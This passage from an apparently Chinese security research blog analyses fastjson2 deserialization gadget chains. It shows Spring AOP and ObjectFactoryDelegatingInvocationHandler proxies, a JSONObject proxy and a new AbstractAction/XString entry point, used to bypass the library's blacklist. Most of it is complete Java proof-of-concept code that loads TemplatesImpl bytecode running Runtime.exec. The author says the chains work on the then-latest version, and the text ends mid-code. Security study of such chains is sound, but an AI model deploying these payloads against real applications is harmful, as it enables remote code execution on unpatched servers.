可以看到对代理类调用getClass()的结果为class com.sun.proxy.$Proxy0,并且再调用getMethods()时的结果是从接口中获取到的方法,也就是Templates.class接口类的中的方法。

所以思路其实很清晰了,这里的proxy又不在黑名单里面,又可以获取到想利用的getter方法,又可以控制TempltesImpl类,所以简单的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行弹出计算机。然后在分析调试的过程中,发现还是和自己分析的过程不一样,重点在BeanUtils#getter()中,如下:

image

这里很容易看出来就是判断这里是否为代理类,如果是的话就获取接口然后再次调用getter方法,当时简单跟了一下以为会判定为false,结果差点就功亏一篑呀,根据调试继续跟进:

跟进isProxyClass()方法:

image

前面会判定为true不奇怪,proxyClassCache变量定义如下:

image

想当然以为containsValue()方法就是看是否包含对应的值,其实并不是,这里会包含,代码比较简单就不跟进了,还是要看类中的代码呀。故这里会进入到if语句中获取对应代理类的接口:

image

后续的过程基本就清楚了,就是让objectClass变为了Templates.class,再次调用getter方法,幸好黑名单里面没有Templates.class,也就对应上了参考文章里说Templates.class没有上黑名单由此想出的这个绕过,然后获取其Method,然后创建fieldWriterMap并调用wirte()方法进行序列化从而触发到JdkDynamicAopProxy类的invoke()方法从而进行命令执行:

image

但是在这里的Proxy.isProxyClass()的判断中,可以注意到这里的if条件。要求interfaces只能为一个,那么我是否可以让interfaces为两个或更多,来让objectClass不会改变,从而在proxy.getClass().getMethods()这里来获取到对应方法并进行后续处理呢,简单尝试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行同样可以弹出计算机。我这里是在接口处加了一个AutoCloseable.class,让接口获取不再是一个:

image

从而在ignore()判断中返回false:

image

从而继续后续调用链的进行来调用到write()方法。所以从这里来看,至少需要同时ban掉Templates和com.sun.proxy.$Proxy0才能完全禁止反序列化调用链的进行,看后面绕过还用不用得到。

经测试到目前最新的2.0.58版本都能使用只有Templates.class的链子打,就看后续会怎么修复吧。

并且后面版本的fastjson的黑名单变成了hash值计算的结果,而且加密逻辑都在代码中有体现。

最后可以用来序列化攻击的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

并且两个接口类的也可以用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

ObjectFactoryDelegatingInvocationHandler+JSONObject链

这个类是一个内部类,实现了InvocationHandler和Serializable两个接口,在spring-beans依赖中,而spring-aop中本身就拉入了spring-beans依赖:

image

所以也是可以说spring中都能打的。

跟进这个类的invoke()方法:

image

非常清晰了,只是需要代理类调用getOutputProperties,这个好解决,代理类设置Templates.class接口即可,再看一下是否有可利用的ObjectFactory类,这是一个接口类,但是并没有合适的重写的方法,但是看参考文章,利用了JSONObject类的invoke()方法:

image

这个类也能被代理,跟进它的invoke()方法:

image

先获取方法名,然后方法参数个数,后续跟进的代码应该是如下:

image

可以知道参数个数为0,然后对getter方法进行处理,然后调用get()方法来进行获取值:

image

跟进发现其实就是LinkedHashMap中取值,直接往里面放入一个键值对即可。

最后的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.ObjectFactory;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//第一个JSONObject代理
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object",templates);
Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);
//第二个代理
Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler)constructor.newInstance(proxy0));
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxy1);
//toString
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行在反序列化时弹出计算机,并且调试符合前面的过程。

同样是可以使用两个接口来进行前面所述的利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.ObjectFactory;
import javax.management.MBeanServer;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//第一个SONObject代理
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object",templates);
Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);
//第二个代理
Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class,AutoCloseable.class},(InvocationHandler)constructor.newInstance(proxy0));
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxy1);
//toString
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

这样就同样需要ban掉Templates和com.sun.proxy.$Proxy1才能完全限制。

同样在最新版本2.0.58也能打。

非常好的绕过方式,可惜大部分情况应该都是只能在spring下打,当然如参考文章一样,还可以尝试打没ban的类,而不是就磕TemplatesImpl,比如我的c3p0分析文章就有一个反序列化打jndi。

新的反序列化toString入口类

基本说明

在先知文章看到的一个新的入口点:

https://xz.aliyun.com/news/18467

文中提到的链子如下:

1
2
3
4
javax.swing.AbstractAction#readObject ->
javax.swing.AbstractAction#putValue ->
javax.swing.AbstractAction#firePropertyChange ->
com.sun.org.apache.xpath.internal.objects.XString#equals

所以这里只是换了一个入口类而已,但是这里的一个思想非常好,当HashMap、Hashtable、HashSet等类都被ban了可以来用这个类(注意后续链子的类是否被ban,这些都是需要考虑的),但是都绕不开一个点就是XString,先来跟一下基本的链子:

AbstractAction类的readObject()方法:

image

再跟进putValue()方法:

image

再看firePropertyChange()方法:

image

很明显了,这里就是要让oldValue为为String,让newValue为例如JSONObject这种要利用其toString方法的类。

再看writeObject()方法:

image

整个过程都是与arrayTable变量相关的:

image

由于实现了transient,故在writeObject()方法中实现了对这个变量的序列化。并且与反序列化时的putValue()也是对应的。

基本过程已经清楚,现在来尝试构造。

尝试构造

首先可以看到AbstractAction是一个抽象类,不能直接序列化,需要找它的实现类来作为入口点:

image

这里就直接同参考文章一样用AlignmentAction类作为入口,这里应该第二个ActivateLinkAction应该也可以用,具体就到时候看有无黑名单吧。

来看AlignmentAction的构造函数:

image

这里会一直向上传递String类型的nm参数,直到AbstractAction类的“实例化”:

image

NAME变量定义如下:

image

故这里会在实例化时就放进去一个键值对。

这里有一个不得不说的逻辑,且看慢慢道来,先看AbstractAction类的putValue()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void putValue(String key, Object newValue) {
Object oldValue = null;
if (key == "enabled") {
if (newValue == null || !(newValue instanceof Boolean)) {
newValue = false;
}
oldValue = enabled;
enabled = (Boolean)newValue;
} else {
if (arrayTable == null) {
arrayTable = new ArrayTable();
}
if (arrayTable.containsKey(key))
oldValue = arrayTable.get(key);
// Remove the entry for key if newValue is null
// else put in the newValue for key.
if (newValue == null) {
arrayTable.remove(key);
} else {
arrayTable.put(key,newValue);
}
}
firePropertyChange(key, oldValue, newValue);
}

毫无疑问这里主要的逻辑就是:

1
2
3
arrayTable = new ArrayTable();
arrayTable.put(key,newValue);
firePropertyChange(key, oldValue, newValue);

也就是放入键值对并进行比较的问题。从代码逻辑可以看出,每次putValue后都会调用一次firePropertyChange()方法:

image

这里有一个非常关键的逻辑:**||(逻辑或),也就是只要左边为true,右边就不会再进行计算,整个条件就会被判定为真。所以在序列化前放入键值对无影响,但是反序列化时需要有这个变量,故我在序列化前调用反射修改值**即可,并且什么,还可以防止在序列化前第二次调用putValue()方法放进值时触发euqlas()方法从而弹出计算机,原因很好理解了就不多说了。

跟进changeSupport变量的定义:

image

找到对应的SwingPropertyChangeSupport类:

image

故我反射修改变量changeSupport为这个类实例即可。

并且在putValue()方法的代码逻辑中,可以看到要是newValue == null,arrayTable就会删除对应的键值对,所以其实虽然“实例化”时放入了一个键值对,我们这里通过调用putValue("Name",null)直接删除即可。

故可以简单尝试构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javax.xml.transform.Templates;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.text.StyledEditorKit;
import javax.swing.event.SwingPropertyChangeSupport;
import java.util.HashMap;
public class Main{
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
XString xstring = new XString("fupanc1233");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
alignmentAction.putValue("Name",null);
alignmentAction.putValue("fupanc1",xstring);
alignmentAction.putValue("fupanc2",jsonObject);
//任意可序列化的类作为参数都行
HashMap hashMap = new HashMap();
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);
setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(alignmentAction);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
}
field.setAccessible(true);
field.set(obj, value);
}
}

未成功,打断点调试一下,发现是我想当然了,主要问题点存在这里:

image

从调试过程看,确实成功放入了两个键值对,但是在第二次调用putValue()方法时,如图可见oldValue的值竟然为null,这一部分确实是我之前疏忽的,这里的oldValue取值的get(key)的key是和newValue的key是一样的,所以导致在反序列化时并没有对应的值而使得oldValue值为null,但是我们并不能在序列化前放入key相同的两个键值对,简单跟进Arraytable类的put()方法:

image

很容易知道如果key重复就会入上面方框的代码会让先放进的值被覆盖掉,否则就是下面这个可以放进去两个值。

但是师傅给出了一个非常妙的思路,就是先像前面一样放进去两个值,然后再在16进制编辑器里修改第一个键值对的key为第二个键值对的key(尝试过直接修改文件,会报格式错误,所以还是用编辑器来改吧)。并且再看一下反序列化流程,是完全可行的:

image

虽然在调用arrayTable.put()还是会覆盖,但是我们已经获取到了oldValue,也就是可控的XString类实例,那么这里在调用firePropertyChange就完全符合前面的链子了,所以最后的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javax.xml.transform.Templates;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.text.StyledEditorKit;
import javax.swing.event.SwingPropertyChangeSupport;
import java.util.HashMap;
public class Main{
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
XString xstring = new XString("text");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
alignmentAction.putValue("Name",null);
alignmentAction.putValue("fupanc1",xstring);
alignmentAction.putValue("fupanc2",jsonObject);
//任意可序列化的类作为参数都行
HashMap hashMap = new HashMap();
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);
setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(alignmentAction);
out.close();
// ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
// in.readObject();
// in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
}
field.setAccessible(true);
field.set(obj, value);
}
}

然后使用编辑器将生成的ser.ser文件的31改成32,即1=>2:

image

然后就可以愉快的反序列化弹计算机了:

image

是一个非常好的思路,还可以先正常生成两个键值对,然后再通过编辑器修改成想要的值,达到既定的效果

最后贴一个mac环境下的paylaod验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws Exception {
